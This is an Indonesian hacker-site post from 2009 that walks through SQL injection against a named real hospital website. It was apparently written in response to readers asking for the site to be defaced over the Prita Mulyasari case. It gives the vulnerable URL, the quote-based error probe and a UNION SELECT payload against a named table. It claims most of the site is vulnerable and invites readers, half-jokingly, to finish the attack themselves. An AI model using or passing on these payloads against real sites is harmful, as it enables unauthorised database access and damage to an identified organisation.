<(o)-(Back)--<

WWW.SPYROZONE.NET

 
[289]. MS Access Injection: omnihealthcare.co.id

-----------------------------------------------------------------------------------

Author  : SPYRO KiD

Contact : admin[~@~]spyrozone.net || http://spyrozone.net

CopyLEFT (c) 2009++ www.spyrozone.net All Rights Reserved

03/06/2009 16.10.11 WIB

-----------------------------------------------------------------------------------

Ketika kasus Bu Prita mencuat dan berbagai pihak memberikan dukungannya, saya didesak (duh, sampai sesak nafas rasanya ^_^) oleh request yang berdatangan melalui Members Area untuk memberikan dukungan berupa deface terhadap situs RS Omni.

Oke lah, agar tidak ada lagi yang mengirimkan request serupa, berikut beberapa info kecil terhadap celah-celah keamanan di website Rs Omni (omnihealthcare.co.id). Hampir semua area Vulnerable. Saya ambil contoh satu URL saja yach ^_*

http://www.omnihealthcare.co.id/acara_detil.asp?kode=5

Tambahkan tanda ' di belakang kode:

http://www.omnihealthcare.co.id/acara_detil.asp?kode=5'

Hasilnya:

Tuch khan kelihatan, ternyata cuma pakai MS Access.

Selanjutnya...

http://www.omnihealthcare.co.id/acara_detil.asp?kode=5+AND+1=0+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9+from+acara#

Hasilnya:

Hmm.. tinggal selangkah lagi nich.. bisa berantakan nich Databasenya. Untung saya orang baik-baik yang tidak suka merusak hehehe... :D ---> FITNAH!

Silahkan (sebaiknya jangan dech >'_'<) diteruskan sendiri.. d['_']b Kalau nggak ngerti, bisa pakai rumus sakti berikut:

http://www.google.com/search?q="Ms+Access+Injection"

Selamat belajar ;)

..oO--( NOTE:

Berita mengenai kasus Prita Mulyasari:

http://blog.spyrozone.net/index.php?id=67111f40f45d4562fa1e30dd25d-1244024793

 WWW.SPYROZONE.NET